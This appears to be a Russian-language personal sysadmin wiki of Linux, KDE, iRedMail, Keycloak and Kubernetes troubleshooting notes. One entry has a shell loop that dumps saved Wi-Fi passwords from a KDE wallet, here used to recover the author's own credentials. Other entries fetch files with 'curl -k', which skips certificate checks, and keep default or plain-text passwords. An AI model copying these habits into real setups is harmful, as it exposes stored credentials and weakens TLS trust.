 sudo ln -sfn /opt/mssql-tools/bin/bcp /usr/bin/bcp

Смотрим состояние сервиса:

sudo systemctl status mssql-server

Остановка сервиса:

sudo /opt/mssql/bin/sqlservr-setup --stop-service

Логи смотрим в файликах /var/opt/mssql/log/errorlog:

sudo cat /var/opt/mssql/log/errorlog

MSSQL в контейнере LXC

У меня mssql-server нормально установился и запустился в контейнере LXC с Ubuntu 16.04, но только когда контейнер был размещен в директории на разделе с BTRFS. В случае, когда я пытался создать контейнер с файловой системой в пуле ZFS, mssql стартовал и тут же останавливался с ошибкой:

SQL Server Management Studio (SSMS)

https://msdn.microsoft.com/library/mt238290.aspx

install_vcenter_under_wine

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

VCenter под Wine

Проверено на Ubuntu Server 16.04.2 + KDE из kubuntu-backports + wine 1.6.
Проверено на VCenter Client 5.5 и VCenter Client 6.0.
https://appdb.winehq.org/objectManager.php?sClass=version&iId=32171
Console виртуальных машин не работает (зато console работает в VCenter WebClient), однако работает upload файлов в Datastore, который не работает в VCenter WebClient без Client Integration Plugin, который, в свою очередь, сломан в текущих версиях браузеров Firefox и Chrome.

Устанавливаем Wine:

sudo apt-get -f install wine
WINEARCH=win32 winecfg

Устанавливаем запчасти:

WINEARCH=win32 winetricks msxml3 vcrun2005 vcrun2008 vcrun2010 vcrun2012 vjrun20
wget http://download.microsoft.com/download/6/0/f/60fc5854-3cb8-4892-b6db-bd4f42510f28/dotnetfx35.exe
wine dotnetfx35.exe

Запускаем установку VCenter Client:

WINEARCH=win32 wine ~/Downloads/VMware-viclient.exe

В процессе установки VCenter Client 6.0 инсталлятор надолго остановился. При просмотре процессов в htop с фильтром C:\ обнаружилось, что остановился процесс установки vcredist2012.exe. Я его просто завершил, потому что vcrun2012 был установлен через winetrics и установка VCenter Client 6.0 продолжилась нормально. В конце установки вывалилась ошибка установки драйвера:

VMInstallHcmon
Failed to install the hcmon driver

Тут не нужно торопиться нажимать ОК. Нужно сделать бекап директории ~/.wine/.

cp ~/.wine/ ~/.wine_vc -R

Затем завершить установку VCenter Client - ОК и Finish.
Теперь возвращаем бекап на место и запускаем VCenter Client.

rm -Rf ~/.wine && mv ~/.wine_vc ~/.wine
WINEARCH=win32 wine ~/.wine/drive_c/Program\ Files/VMware/Infrastructure/Virtual\ Infrastructure\ Client/Launcher/VpxClient.exe

intel_ax210ngw_ubuntu_drivers_and_firmware

anonymous@undisclosed.example.com (Anonymous) — Sun, 27 Oct 2024 18:02:28 +0000

Проблема

В наличии ноутбук (Honor MagicBook Pro 16 2020 AMD Ryzen 4800H) с Ubuntu 20.10, ядро 5.11.10-051110-lowlatency.
Его дефолтный Wifi-адаптер Realtek RTL8822CE был заменен на Intel AX210NGW.
После перезагрузки Wi-Fi не завелся. В выводе lspci такое:

$ lspci
...
01:00.0 Network controller: Intel Corporation Device 2725 (rev 1a)
...

Однако, iwconfig не признает адаптер в качестве Wi-Fiхотя rfkill list всё показывает.
В сообщениях ядра среди всего прочего такое:

bluetooth hci0: Direct firmware load for intel/ibt-0041-0041.sfi failed with error -2

Решение

Оказалось, что поддержка этого железа в Linux появидась совсем недавно, в ядре 5.10 и для того, чтобы все заработало нужно загрузить фирмварь адаптера.
Для Ubuntu это можно сделать двумя путями. Либо - скачать фирмварь отсюда: https://www.intel.com/content/www/us/en/support/articles/000005511/wireless.html или отсюда https://wireless.wiki.kernel.org/en/users/drivers/iwlwifi и распаковать его в /lib/firmware/
Перезагружаемся или выполняем:

sudo rmmod iwlwifi
sudo modprobe iwlwifi

После этих манипуляций заработал WiFi, но не bluetooth. Или можно скачать все фирмвари из гита и установить:

git clone --depth=1 git://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git
sudo cp linux-firmware/iwlwifi-*.{ucode,pnvm} /lib/firmware/

Третий (и, возможно, более предпочтительный) вариант получения фирмвари - установить пакет linux-firmware версии не ниже 1.196 (из состава еще не вышедшей на данный момент Ubuntu 21.04) отсюда: https://launchpad.net/ubuntu/+source/linux-firmware
После скачивания устанавливаем пакет и перезапускаем модули, обеспечивающие работу bluetooth:

sudo apt-get install ~/Downloads/linux-firmware_1.196_all.deb
sudo rmmod btusb && sudo rmmod btintel  
sudo modprobe btusb

Однако, с новым пакетом linux-firmware оказалось не все так просто. Я запустил Wifi с помощью скачаной фирмвари (без перезагрузки, путем перезапуска модуля), потом накатил новый linux-firmware и тоже перезапустил модули. В итоге всё заработало, но после перезагрузки пропал Wi-Fi. Очевидно, что новый пакет linux-firmware что-то делает с порядком загрузки модулей или фирмварей или еще с чем-то и Wi-Fi умирает.
В итоге выход был найден такой. Я снес новый linux-firmware и откатился на стандартный пакет linux-firmware из стабильного репозитория, затем поглядел в логах какой именной файл фирмвари пытается загрузить модуль btintel (это оказались файлы intel/ibt-0041-0041.sfi и intel/ibt-0041-0041.ddc) и извлек их из пакета и положил вручную в директорию /lib/firmware/intel/. Ну и затем еще раз скопировал в /lib/firmware/ файлы с фирмварью Wi-Fi. В итоге - всё нормально заводится и после перезагрузок.

На всякий случай архив с firmware для Wi-Fi и Bluetooth для адаптера Intel AX210NGW сохранил у себя - ax210ngw-firmware.tar.gz

io_sync_progress

anonymous@undisclosed.example.com (Anonymous) — Mon, 23 Nov 2020 10:50:49 +0000

Прогресс команды sync

Иногда нужно увидеть в каком состоянии находится процесc сброса содержимого буферов записи на диск (команда sync).
Увидеть какой объем данных содержится в кешах можно так:

sudo watch -d 'grep -e Dirty: -e Writeback: /proc/meminfo'

iredmail_upgrade

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Апгрейд с версии 0.9.5-1 до 0.9.7

Делаем бекап. Пропускать релизы нельзя. То есть обновлять надо последовательно. Ссылка на процедуру обновления для каждого релиза есть тут: http://www.iredmail.org/docs/iredmail.releases.html

Апгрейдим iRedAPD

wget http://www.iredmail.org/yum/misc/iRedAPD-2.1.tar.bz2
tar -xvf ./iRedAPD-2.1.tar.bz2

Теперь нужно проверить и при необходимости заполнить файлик /root/.my.cnf примерно так:

[client]
host=127.0.0.1
port=3306
user=root
password="plain_password"

Данные, которые были использованы при установке можно найти в директории из которой ставися iRedMail в файлике ./iRedMail-0.x.x-x/iRedMail.tips. После того, как файлик

bash ./iRedAPD-2.1/tools/upgrade_iredapd.sh

Апгрейдим iRedAdmin

wget http://www.iredmail.org/yum/misc/iRedAdmin-0.8.tar.bz2
tar -xvf ./iRedAdmin-0.8.tar.bz2 
cd iRedAdmin-0.8/tools
sudo bash ./upgrade_iredadmin.sh

Апгрейдим RoundCubeMail

wget http://www.iredmail.org/yum/misc/roundcubemail-1.3.0-complete.tar.gz
sudo apt-get install rsync
tar -xvf ./roundcubemail-1.3.0-complete.tar.gz 
cd ./roundcubemail-1.3.0

Смотрим где установлен roundcube. Обычно это /opt/www/rouncube. Выполняем:

sudo ./bin/installto.sh /opt/www/roundcubemail

iredmail_upgrade_0.9.8_to_0.9.9

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

https://docs.iredmail.org/upgrade.iredmail.0.9.8-0.9.9.html

cd ~
wget https://dl.iredmail.org/yum/misc/iRedAPD-2.4.tar.bz2
cd iRedAPD-2.4/tools/
bash ./upgrade_iredapd.sh

cd ~
wget https://dl.iredmail.org/yum/misc/iRedAdmin-0.9.4.tar.bz2
tar xjf iRedAdmin-0.9.4.tar.bz2
cd iRedAdmin-0.9.4/tools/
bash upgrade_iredadmin.sh

cd ~
wget https://github.com/roundcube/roundcubemail/releases/download/1.3.8/roundcubemail-1.3.8-complete.tar.gz
tar xvf ./roundcubemail-1.3.8-complete.tar.gz
cd roundcubemail-1.3.8
./bin/installto.sh /opt/www/roundcubemail/

kate_ide_python_debug

anonymous@undisclosed.example.com (Anonymous) — Thu, 29 May 2025 11:01:13 +0000

Задача

Я пользуюсь Kate IDE и мне нужно настроить дебаггер для python.
Мое приложение работает в venv.

Как же этого добиться

Устанавливаем дебаггер
```
sudo apt-get install python3-debugpy
```
Создаем venv (если еще не)
```
python -m venv myapp_venv
```
Включаем в Kate дебаггер-плагин - Settings → Configure Kate… → Plugins → Kate Debugger и перезапускаем Kate

После перезапуска также идем Settings → Configure Kate… → Debugger и в User Debug Adapter Settings и прописываем такое:

{
  "dap": {
    "debugpy": {
      "url": "https://github.com/microsoft/debugpy",
      "run": {
        "command": [
          "/home/user/myapp_venv/bin/python3.12",
          "-m",
          "debugpy",
          "--listen",
          "${#run.port}",
          "--wait-for-client"
        ],
        "port": 0,
        "supportsSourceRequest": false
      },
      "configurations": {
        "myapp venv": {
          "commandArgs": ["${file}", "${args|list}"],
          "request": {
            "command": "attach",
            "python": "/home/user/myapp_venv/bin/python3.12",
            "stopOnEntry": true,
            "redirectOutput": true
          }
        }
      }
    }
  }
}

Тут важно указать корректный путь к бинарнику python в venv.

Теперь в окне Kate внизу нажимаем кнопку Debug (рядом с Search, Project, Terminal), в области дебаггера жмем Settings и выбираем debugpy | myapp_venv.
Выбираем файлик скрипта, который будем дебажить - Executable и жмем справа зелененький Play - >. Песле первого нажатия - запустится дебаггер, после второго - отлаживаемый скрипт.
В скрипте прописываем
```
import debugpy
```
и
```
debugpy.breakpoint()
```
там где надо. В итоге - скрипт будет останавливаться на строке с брейкпоинтом
Дальше в консольке дебаггера можно писать
```
print OBJECT_NAME
```
и оно покажет показывать значения объекта с именем OBJECT_NAME в точке останова. Либо - можно прямо в коде мышом выделять имя объекта и в меню нажимать Debug → Print Value

kde_autostart

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Директории с ярлыками autostart

В документации по KDE 5 - https://docs.kde.org/trunk5/en/kde-workspace/kcontrol/autostart/ сказано, что для автостарта используются папки:

$HOME/.config/autostart/
$HOME/.config/plasma-workspace/env
$HOME/.config/plasma-workspace/shutdown
$HOME/.config/autostart-scripts/

При старте сессии KDE 4 просматривает содержимое следующих папок на наличие файлов .desktop.

~/.kde/Autostart - Эту диреторию заполянет файликами пользователь. /etc/skel/ не работает.
~/.kde/share/autostart
~/.config/autostart
~/.local/share/autostart
/etc/xdg/autostart
/usr/share/autostart**

Отключение и приоритеты

Для того чтобы включить или отключить автозапуск приложения не нужно удалять файлики .desktop. Для отключения автозапуска достаточно просто добавить в файл строку:

Hidden=true

Файлы, расположенные в домашней директории пользователя (~/.kde/share/autostart и др.)имеют более высокий приоритет, по сравнению с файлами из директории /usr.

kde_debug_errors

anonymous@undisclosed.example.com (Anonymous) — Fri, 11 Aug 2023 16:24:26 +0000

Как разбираться с ошибками KDE

Для начала нужно включить вывод подробных сообщений об ошибках с помощью:

kdebugdialog

А затем смотреть сообщения в ~/.xsession-errors:

tail -f ~/.xsession-errors

KDE Plasma shell закрывается

После нескольких подряд сворачиваний-разворачиваний окна konsole kade plasma-shell падает.

Aug 11 10:37:02 mike-swift plasmashell[22457]: XMLHttpRequest: Using GET on a local file is dangerous and will be disabled by default in a future Qt version.Set QML_XHR_ALLOW_FILE_READ to 1 if you wish to continue using this feature.
Aug 11 10:37:02 mike-swift plasmashell[22457]: XMLHttpRequest: Using GET on a local file is dangerous and will be disabled by default in a future Qt version.Set QML_XHR_ALLOW_FILE_READ to 1 if you wish to continue using this feature.
Aug 11 10:37:02 mike-swift plasmashell[22457]: malloc(): unsorted double linked list corrupted
Aug 11 10:37:05 mike-swift systemd[2814]: plasma-plasmashell.service: Main process exited, code=killed, status=14/ALRM
Aug 11 10:37:05 mike-swift systemd[2814]: plasma-plasmashell.service: Failed with result 'signal'.
Aug 11 10:37:05 mike-swift systemd[2814]: plasma-plasmashell.service: Consumed 1.888s CPU time.
Aug 11 10:37:05 mike-swift kwin_x11[3175]: qt.qpa.xcb: QXcbConnection: XCB error: 3 (BadWindow), sequence: 62612, resource id: 25165853, major code: 15 (QueryTree), minor code: 0
Aug 11 10:37:05 mike-swift kwin_x11[3175]: qt.qpa.xcb: QXcbConnection: XCB error: 3 (BadWindow), sequence: 62685, resource id: 25165884, major code: 15 (QueryTree), minor code: 0
Aug 11 10:37:06 mike-swift systemd[2814]: plasma-plasmashell.service: Scheduled restart job, restart counter is at 9.
Aug 11 10:37:06 mike-swift systemd[2814]: Stopped plasma-plasmashell.service - KDE Plasma Workspace.
Aug 11 10:37:06 mike-swift systemd[2814]: plasma-plasmashell.service: Consumed 1.888s CPU time.
Aug 11 10:37:06 mike-swift systemd[2814]: plasma-plasmashell.service: Start request repeated too quickly.
Aug 11 10:37:06 mike-swift systemd[2814]: plasma-plasmashell.service: Failed with result 'signal'.
Aug 11 10:37:06 mike-swift systemd[2814]: Failed to start plasma-plasmashell.service - KDE Plasma Workspace.

Дело оказалось в новом ядре, (6.4.9), после отката на 6.2.0 - все нормализовалось.

kde_default_settings_customizing

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Смотрим где лежат текущие конфиги:

kde4-config --path config

В Kubuntu они лежат тут /usr/share/kubuntu-default-settings/kde4-profile/default/share/config/

kde_dolphin_mount_img_from_context_menu

anonymous@undisclosed.example.com (Anonymous) — Fri, 31 Jan 2020 09:51:17 +0000

Удобное монтирование образов блочных устройств в Linux

Для удобного монтирования образов дисков (iso, img и прочих) с помощью контекстного меню в KDE dolphin я использую gnome-disk-utility:

sudo apt install gnome-disk-utility

В результате в контекстном меню dolphin для файлов-образов появляется пунктик Open with Disk Image Mounter.
Нормально распознаются и монтируются образы с несколькими разделами.
По-умолчанию, образы монтируются как Read-Only. Смонтировать их для записи можно, запустив вручную:

 gnome-disk-image-mounter

Удаление loop-устройств

Для удаления loop-устройств нужно запустить:

gmome-disks

выбрать loop-устройство и нажать Detach This Loop Device. В KDE это кнопочка рядом со стандартными кнопками окна (свернуть,развернуть, закрыть).
Также просмотреть и при необходимости удалить loop-устройство можно и с помощью команд:

losetup -l
losetup -d /dev/loop0

Административные права для всех вышеприведенных манипуляций не нужны.

kde_kate_replace_new_line

anonymous@undisclosed.example.com (Anonymous) — Mon, 24 Jan 2022 19:51:28 +0000

Я пользуюсь KDE и частенько разбираю логи Ansible, в которых символы новой строки предствалены в виде \n.
Повысить читабельность таких логов можно скопировав их в окошко дефолтного текстового редактора KDE - Kate и применив к тексту замену в стиле sed.
Для этого нужно нажать F7 и в строчке ввода команды ввести такое:

s/\\n/\n/g

kde_kioexec_cache_is_a_folder_but_file_was_expected

anonymous@undisclosed.example.com (Anonymous) — Tue, 03 Nov 2020 09:37:41 +0000

Проблема

Система - Ubuntu 18.04 + KDE.
При попытке открыть ресурс на SMB-шаре - Alt+F2 и далее

smb://server/share

получаю ошибку:

.../.cache/kioexec/krun/346_0/ is a folder, but a file was expected.

Причина

Причина в том, что объект directory ассоциирован для открытия не с файловым менеджером (Dolphin), а с какой-то другой программой.

Как поправить

Идем в Settings → Applications → File Associations → inode → directory и передвигаем Dolphin на первое место и жмем Apply.

kde_not_copying_etc_skel_on_user_first_login

anonymous@undisclosed.example.com (Anonymous) — Tue, 01 Sep 2020 14:15:04 +0000

Проблема

Система - Ubuntu Server 16.04 + KDE-desktop установленный из backports.
При входе пользователя не копируется шаблон профиля из /etc/skel, хотя директория в /home создается и директории, которые описаны в /etc/xdg/user-dirs.defaults создаются.

Решение

Вот тут немецкие друзья предлагают решение: https://forum.ubuntuusers.de/topic/sssd-nutzer-erhalten-keine-dateien-aus-etc-ske/
В двух словах - модули pam_kwallet и pam_mkhomedir не работают нормально вместе. Поэтому в файлике /etc/pam.d/sddm закомментировать строки с pam_kwallet.
В результате, при первом логине пользователя в KDE с помощью SDDM, в его профиль нормально копируются файлики из /etc/skel.

Аналогичная проблема - Ubuntu 18.04 + Gnome

При логине профиль создается, но файлы из директории /etc/skel не копируются, хотя директории, которые описаны в /etc/xdg/user-dirs.defaults создаются.
Оказалось - проблема в порядке следования pam-модулей.
Из директории /etc/skel файлы копирует модуль pam_mkhomedir. Для начала - найдем в каком файлике он вызывается.

grep pam_mkhomedir /etc/pam.d/ -irl

У меня это файл /etc/pam.d/common-session. В нем строка:

session optional pam_mkhomedir.so

идет ПОСЛЕ строки:

session optional pam_mount.so

Я предположил, что модуль pam_mkhomedir не отрабатывает корректно, поскольку на момент его запуска директория пользователя уже должна существовать (чтобы отработал модуль pam_mount.so).
То есть - чтобы исправить ситуацию нужно переставить строки, чтобы pam_mkhomedir.so запускался ПЕРЕД pam_mount.so.
В итоге - строки я переставил и всё заработало.

kde_on_ubuntu_server_minimal

anonymous@undisclosed.example.com (Anonymous) — Wed, 02 Feb 2022 12:10:55 +0000

NetworkManager

/etc/NetworkManager/NetworkManager.conf

[ifupdown]
managed=false

→

[ifupdown]
managed=true

sudo systemctl disable NetworkManager-wait-online.service
sudo systemctl mask NetworkManager-wait-online.service

netplan

network:
  renderer: NetworkManager

systemd-resolved local domains

/etc/systemd/resolved.conf.d/voximplant.conf

[Resolve]
DNS=192.168.15.12 192.168.15.13
Domains=voximplant.local

sudo service systemd-resolved restart

sssd

Install packages

sudo apt install sssd-ad sssd-tools realmd adcli

Check if domain available

sudo realm -v discover ad1.example.com

Join Domain:

sudo realm join -U admuser ad1.example.com

sssd settings

[sssd]
domains = voximplant.local
config_file_version = 2
default_domain_suffix = voximplant.local
services = nss, pam

[domain/voximplant.local]
default_shell = /bin/bash
krb5_store_password_if_offline = True
cache_credentials = True
krb5_realm = VOXIMPLANT.LOCAL
realmd_tags = manages-system joined-with-adcli
id_provider = ad
fallback_homedir = /home/%d/%u
ad_domain = voximplant.local
use_fully_qualified_names = True
ldap_id_mapping = True
access_provider = ad

sudo service sssd restart

pam settings

/etc/pam.d/common-session

session optional        pam_mount.so

kde_restore_wifi_passwords

anonymous@undisclosed.example.com (Anonymous) — Fri, 01 Dec 2023 13:15:52 +0000

Проблема

Я заменил DE - поменял KDE на XFCE и хочу экспортировать все пароли от сетей Wi-Fi из текущей инсталляции KDE 5.
И затем - импортировать из в XFCE 4

Как я это делал на XFCE

KDE Хранит пароли в KDE Wallet.
Итак - для начала в инсталляции XFCE нужно установить менеджер KDE Wallet:

sudo add-apt-repository ppa:kubuntu-ppa/backports

sudo apt-get install kwalletcli kwalletmanager

У меня файлы KDE WAllet лежали в бекапе, поэтому - временно кладем директорию с ними на место:

cp -r ./backup_root/home/user/.local/share/kwalletd ~/.local/share/

И теперь можно запустить KWalletManager:

kwalletmanager5

Он спросит пароль от wallet и покажет содержимое. Чтобы посмотреть доступных список паролей в kdewallet выполняем:

kwallet-query -l -f 'Network Management' kdewallet

В данном случае - kdewallet - это имя кошелька. Оно такое по-дефолту.
Ну и дальше 0 можно циклически пройти по этим запися, извлечь пароли и найти имена сетей:

for ENTRY in `kwallet-query -l -f 'Network Management' kdewallet`; do 
    UUID=${ENTRY#*\{}; UUID=${UUID%\}*}; echo ${UUID}
    grep access-points -A1 ./backup_root/etc/netplan/90-NM-${UUID}.yaml
    kwallet-query -r ${ENTRY} -f 'Network Management' kdewallet  
done

kde_task_manager_launchers

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Контектстное меню Show A Launcher When Not Running

Как в KDE вручную отредактировать лаунчеры (или посмотреть что запускает тот или иной лаунчер), которые создаются с помощью контектстного меню Show A Launcher When Not Running ?

список этих лаунчеров находится в файле ~/.kde/share/config/plasma-desktop-appletsrc
там есть раздел в названии которого в конце указано [Launchers].
В моем случае это: [Containments][22][Applets][26][Configuration][Launchers]

и Выглядит он как-то так:

[Containments][22][Applets][26][Configuration][Launchers]
Items=preferred://browser?wmClass=%20,preferred://filemanager?wmClass=%20,file:///usr/share/applications/viber.desktop?wmClass=ViberPC,file:///usr/share/applications/kde4/ksysguard.desktop?wmClass$
browser=preferred://browser, , ,\s
filemanager=preferred://filemanager, , ,\s
liteide=file:///home/local/RIMOS_NT_01/usikmi/liteide/bin/liteide,,liteide,,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAACi9JREFUaIG9Wn9sG9Ud/7y7$

В строке Items=preferred: через запятую указаны файлы ярлыков запускаемых проложений.

kde_the_file_or_folder_smb_does_not_exists

anonymous@undisclosed.example.com (Anonymous) — Tue, 27 Aug 2019 11:46:53 +0000

Проблема

При попытке доступа из приложений KDE (Dolphin) к расшаренными ресурсам по протоколу SMB вылезает ошибка:

The file or folder smb://server/share/ does not exist.

Хотя, при монтировании ресурса из командной строки никаких ошибок нет.

В файлике ~/.xsession-errors такое:

kdeinit5: Got EXEC_NEW '/usr/lib/x86_64-linux-gnu/qt5/plugins/kf5/kio/smb.so' from launcher.
kdeinit5: preparing to launch '/usr/lib/x86_64-linux-gnu/qt5/plugins/kf5/kio/smb.so'
kio_smb: Using libsmbclient library version 4.10.0
kio_smb: auth_initialize_smbc 
kio_smb: smbc_init call
kio_smb: QUrl("smb://server/share/")
kio_smb: checkURL  QUrl("smb://server/share/")
kio_smb: checkURL return3  QUrl("smb://server/share/")
kio_smb: updateCache  "/share"
kio_smb: auth_smbc_get_dat: set user= username , workgroup= WORKGROUP  server= server , share= share 

kio_smb: libsmb-auth-callback URL: QUrl("smb://server/share")
kio_smb: size  140503533880268
kio_smb: stat() error 22 QUrl("smb://server/share/")
kio_smb: updateCache  "/share"
kio_smb: errNum 22
kf5.kio.widgets: KRun(0x5581baffc970) ERROR 111 "The file or folder smb://server/share/ does not exist."

При попытке прочитать списко шар на сервер с помощью smbclient такое:

smbclient -L //server
Unable to initialize messaging context
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE

Решение

Оказалось, что проблема в версиях SMB. Клиент и сервер не могут согласовать используемую версию протокола SMB.
Подобрать работающую версию можно с помощью smbclient примерно так:

smbclient -m SMB2 -L //server.domain.local
Unable to initialize messaging context
Enter username@WORKGROUPS's password:

      Sharename       Type      Comment
      ---------       ----      -------
      share           Disk      
Reconnecting with SMB1 for workgroup listing.

      Server               Comment
      ---------            -------

      Workgroup            Master
      ---------            -------

Для того, чтобы нормально работали шары в Dolphin нужно файлике /etc/samba/smb.conf в секции [Global] сконфигурировать версию SMB, используемую клиентом:

client max protocol = SMB2
client min protocol = SMB2

keycloak_on_kubernetes_import_root_ca_ldaps

anonymous@undisclosed.example.com (Anonymous) — Thu, 27 Feb 2020 06:55:23 +0000

Проблема

Мне нужно сконфигурировать keycloak (версии 7.0.1), развернутый с помощью helm в кластере kubernetes, чтобы он забирал пользователей из Active Directory по протоколу LDAPS.
Проверка подключения к контроллеру домена (Test Connection) по протоколу ldaps (порт 636) проходит нормально, но тест аутентификации (Test Authentication) не проходит с ошибкой:

14:19:35,523 ERROR [org.keycloak.services] (default task-1) KC-SERVICES0055: Error when authenticating to LDAP: simple bind failed: dc.domain.local:636: javax.naming.CommunicationException: simple bind failed: dc.domain.local:636 [Root exception is javax.net.ssl.SSLHandshakeException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target]

Проблема в том, что сертификат контроллера домена выдан корпоративным certification authority.
Мануалы, которые я нашел в интернете предлагают пересобрать docker image, поместив туда корневой сертификат. Но мне такой вариант не нравится. Я бы хотел, чтобы при старте pod'а keycloak импортировал корневой сертификат в keystore (jks) и использовател его.

Хорошее решение

Создаем ConfigMap с корпоративными корневыми сертификатами. Они должны быть в формате pem и оформлены стандартными разделителями - —–BEGIN CERTIFICATE—– и —–END CERTIFICATE—–.

curl -k https://nexus.rdleas.ru/repository/files/Root_CA_Certs/RDleas-SRV-DC02-CA.cer -o ./ca.cer 
kubectl -n keycloak create configmap ca-bundle --from-file=./ca.cer

А keycloak_values.yaml приводим к такому виду:

keycloak:
  replicas: 1
  image:
    tag: 8.0.2
  existingSecret: "keycloak-default-admin-password"

  extraVolumes: |
    - name: ca-bundle
      configMap:
        name: ca-bundle
  extraVolumeMounts: |
    - name: ca-bundle
      mountPath: /custom_certs/

  extraEnv: |
    - name: X509_CA_BUNDLE
      value: "/custom_certs/ca.cer"
    - name:  PROXY_ADDRESS_FORWARDING
      value: "true"
    - name: JAVA_OPTS
      value: |
        -server -Xms64m -Xmx512m -XX:MetaspaceSize=96M -XX:MaxMetaspaceSize=256m -Djava.net.preferIPv4Stack=true -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true -Dkeycloak.profile.feature.upload_scripts=enabled

  ingress:
    enabled: true
    path: /
    annotations: 
      kubernetes.io/ingress.class: nginx
    hosts:
      - sso.domain.local
    tls:
      - hosts:
        - sso.domain.local
        secretName: sso-domain-local

  persistence:
    deployPostgres: false
    dbVendor: "postgres"
    existingSecret: "keycloak-db-password"
    dbName: keycloak
    dbHost: 10.10.10.10
    dbPort: 5432

test:
  enabled: false

Некоторые пояснения.
Созданный ConfigMap с корпоративными корневыми сертификатами монтируется в директорию /custom_certs/.
Переменная X509_CA_BUNDLE указывает на путь к файлу с сертификатами и при старте контейнера используется скриптом /opt/jboss/tools/x509.sh, который импортирует сертификаты из файла в keystore.

Нехорошее решение

Добавить в состав JAVA_OPTS pod'а опции javax.net.ssl.trustStore и javax.net.ssl.trustStorePassword
При старте pod'а забирать сертификат и класть его в keystore.

Для этого редактируем StatefulSet keycloak:

В раздел env добавляем такое:

spec:
  template:
    spec:
      containers:
        env:
        - name: JAVA_OPTS
          value: -server -Xms64m -Xmx512m -XX:MetaspaceSize=96M -XX:MaxMetaspaceSize=256m
            -Djava.net.preferIPv4Stack=true -Djboss.modules.system.pkgs=org.jboss.byteman
            -Djava.awt.headless=true  -Djavax.net.ssl.trustStore=/opt/jboss/keycloak/standalone/configuration/keystores/truststore.jks  
            -Djavax.net.ssl.trustStorePassword=changeit 
            --add-exports=java.base/sun.nio.ch=ALL-UNNAMED --add-exports=jdk.unsupported/sun.misc=ALL-UNNAMED --add-exports=jdk.unsupported/sun.reflect=ALL-UNNAMED

А command приводим к такому виду:

spec:
  template:
    spec:
      containers:
      ...
        command:
        - /bin/bash
        - -c
        args:
        - mkdir -p /opt/jboss/keycloak/standalone/configuration/keystores/ 
          && curl -k https://http.server.local/domain_ca.cer -o /opt/jboss/keycloak/standalone/configuration/ca.cer 
          && keytool -import -noprompt -keystore /opt/jboss/keycloak/standalone/configuration/keystores/truststore.jks -file /opt/jboss/keycloak/standalone/configuration/ca.cer -storepass changeit -alias domain-local-CA 
          && /scripts/keycloak.sh

В результате - до старта сервера Keycloak корневой сертификат забирается с http-сервера и помещается в ssl.trustStore, параметры которого (путь и пароль) передаются в виде переменных среды Java.

kubernetes_change_kube-router_to_flannel

anonymous@undisclosed.example.com (Anonymous) — Wed, 09 Oct 2019 07:06:46 +0000

замена CNI в кластере

На тестовом кластере при использовании kube-router я наблюдаю некоторые странности. И я решил попробывать заменить kube-router на flannel. Все оказалось предельно просто:

kubectl delete daemonset kube-router -n kube-system
kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml

И как бы всё. В моем случае никаких перезагрузок или чего-то еще не понадобилось. Поды и сервисы вроде ничего ен почувствовали.

kubernetes_delete_namespace_hung_in_terminating_state

anonymous@undisclosed.example.com (Anonymous) — Fri, 22 Oct 2021 09:04:21 +0000

https://github.com/kubernetes/kubernetes/issues/60807
https://kb.kasten.io/knowledge/how-to-debug-namespaces-that-are-stuck-terminating

Что делать, если неймспейс при удалении завис в состоянии Terminating?

Нужно попытаться отредактировать его и удалить finalizers (в том числе и из спецификации). Например так:
```
kubectl patch ns BAD_NAMESPACE -p '{"metadata":{"finalizers":null}}'
```
Если это не помогло (finalizers вернулись а место после удаления), то нужно сделать так:

kubectl get namespace BAD_NAMESPACE -o json > tmp.json

Отредактировать файлик tmp.json, удалив из него finalizers, а затем применить его.
Для этого - проксируем API на локальный порт:

sudo -E kubectl proxy --port=8080

И затем финализируем удаление неймспейса:

curl -k -H "Content-Type: application/json" -X PUT --data-binary @tmp.json https://localhost:8080/api/v1/namespaces/BAD_NAMESPACE/finalize

Однако, если и после этого неймспейс не удалится, то нужно посмотреть на вывод этой команды. Там могут быть сообщения вида:

"status": {
  "phase": "Terminating",
  "conditions": [
    {
      "type": "NamespaceDeletionDiscoveryFailure",
      "status": "True",
      "lastTransitionTime": "2021-10-21T19:59:35Z",
      "reason": "DiscoveryFailed",
      "message": "Discovery failed for some groups, 1 failing: unable to retrieve the complete list of server APIs: metrics.k8s.io/v1beta1: the server is currently unable to handle the request"
    },
    ...

Что означает, что не работают какие-то сервисы API. Для того, чтобы исправить - просто удаляем заклинивший сервис API:

kubectl delete apiservice v1beta1.metrics.k8s.io

И дальше - повторяем curl…

В самом крайнем случае - можно попробывать ЖЕСТКО перезаупстить все контейнеры кубера:

systemctl stop kubelet.service
for item in `ctr -n k8s.io tasks ls | awk '{print $1}'`; do ctr -n k8s.io tasks kill $item; done 
for item in `ctr -n k8s.io containers ls | awk '{print $1}'`; do ctr -n k8s.io containers rm $item; done
ctr -n k8s.io tasks ls
ctr -n k8s.io containers ls
systemctl start kubelet.service

kubernetes_get_supported_api_versions

anonymous@undisclosed.example.com (Anonymous) — Sat, 05 Oct 2019 08:58:35 +0000

Довольно часто при развертывании приложений в kubernetes возникают ситуации, когда версия apiVersion: v1beta1, указанная в деклации приложения не соответветствует версии apiVersion: v1, поддерживаемой кластером.
Узнать версии api, поддерживаеммые кластером kubernetes поможет простая команда:

for kind in `kubectl api-resources | tail +2 | awk '{ print $1 }'`; do kubectl explain $kind; done | grep -e "KIND:" -e "VERSION:"

kubernetes_helm

anonymous@undisclosed.example.com (Anonymous) — Mon, 30 Sep 2019 10:31:46 +0000

https://habr.com/company/flant/blog/420437/
https://habr.com/ru/company/flant/blog/423239/

kubernetes_kubelet_setting_volume_ownership_warning_flood

